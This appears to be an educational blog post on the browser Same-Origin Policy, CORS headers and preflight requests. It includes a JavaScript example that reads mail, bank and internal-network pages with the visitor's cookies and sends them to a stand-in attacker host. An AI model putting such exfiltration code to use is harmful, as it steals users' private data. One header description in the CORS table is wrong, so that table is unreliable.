What is the Same-Origin Policy?
The Same-Origin-Policy is a security mechanism inside browsers to prevent cross-origin access to other websites. JavaScript running on one website is not allowed to read data from a different website. This prevents a malicious website from stealing information from other sites and limits what kind of requests they can make to them.
When is the origin the same?
| Same | URL 1 | URL 2 | Difference |
|---|---|---|---|
| ❌ | http://example.com | https://example.com | Scheme |
| ❌ | https://mcz3n.com | https://news.mcz3n.com | Subdomain |
| ✅ | https://mcz3n.com | https://mcz3n.com:443 | Port same |
| ❌ | https://mcz3n.com:444 | https://mcz3n.com:443 | Diff port |
| ✅ | http://mcz3n.com | http://mcz3n.com:80 | Port same |
An origin exists of:
- Scheme (http / https)
- Host (domainof subdomain)
- Port (80, 443, 8080, etc.)
Without the Same-Origin Policy
Visiting a malicious website https://malsite.com which Same-Origin-Policy does not exists and executes below javascript code. It will make 3 fetch request to mail, bank and internal ip sending cookies along if logged in.
<script>
async function exfiltrate_data(url) {
// get data
const response = await fetch(url, {credentials: "include"});
const data = await response.text();
// exfiltrate data
await fetch("https://attack_mcz3nn.com/exfiltrate?c=" + btoa(data));
}
// exfiltrate mails
exfiltrate_data("https://mail.com/getmails");
// exfiltrate bank data
exfiltrate_data("https://bank.com/myaccounts");
// exfiltrate internal service
exfiltrate_data("https://192.168.172.1/");
</script>
With Same-Origin-Policy in place its not possible to read data from another website. Same-Origin Policy prevents JavaScript from reading data from a different origin, which stops cross-site data exfiltration.
With the Same-Origin Policy
Trying to call fetch to a different origin will give an error in the browser caused by the Same-Origin policy. It would prevent https://malsite.com accessing the response to a cross-origin. There are exceptions to include resources like img, video and script for example to get a logo.
What is CORS
Cross-Origin Resource Sharing (CORS) is a W3C standard that defines exceptions to the Same-Origin Policy. Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It enables an origin to define a list of trusted origins and HTTP methods which are allowed access across origins.
What does CORS doe
If you have a web application hosted on the root domain like www.mcz3n.com which is only using front end code and is getting the data from the server using an API like api.mcz3.com. Because of Same-Origin Policy the browser would block this.
We can add exceptions to the Same-Origin policy via CORS by setting headers.
| Header | Description |
|---|---|
| Access-Control-Allow-Origin | exceptions for a specific origin |
| Access-Control-Expose-Headers | exceptions for allowed HTTP methods in response to a preflight request |
| Access-Control-Allow-Headers | exceptions for allowed HTTP headers in response to a preflight request |
| Access-Control-Allow-Credentials | if true lets the browser send and read cookies in cross-origin requests if the server explicitly allows it. |
| Access-Control-Max-Age | how long the information in the other CORS-headers can be cached |
Preflight Requests
A basic CORS configuration is a simple request, which is made from plain HTML. The Simple requests can be GET, POST or HEAD requests without any custom HTTP headers, and a Content-Type of either application/x-www-form-urlencoded, multipart/form-data, or text/plain.
All requests that do not fall under simple requests are called preflighted requests. The browser will send a preflight request before sending cross-origin requests containing all parameters. The browser will only send the actual cross-origin request if the server allows it by setting the corresponding CORS headers.
The preflight request is an OPTIONS request:
- Access-Control-Request-Method: inform the server about the HTTP method used in the actual request
- Access-Control-Request-Headers: inform the server about the HTTP headers used in the actual request
So would JSON data to be sent in a POST request an OPTIONS request will be sent like
- Access-Control-Request-Method: POST
- Access-Control-Request-Headers: content-type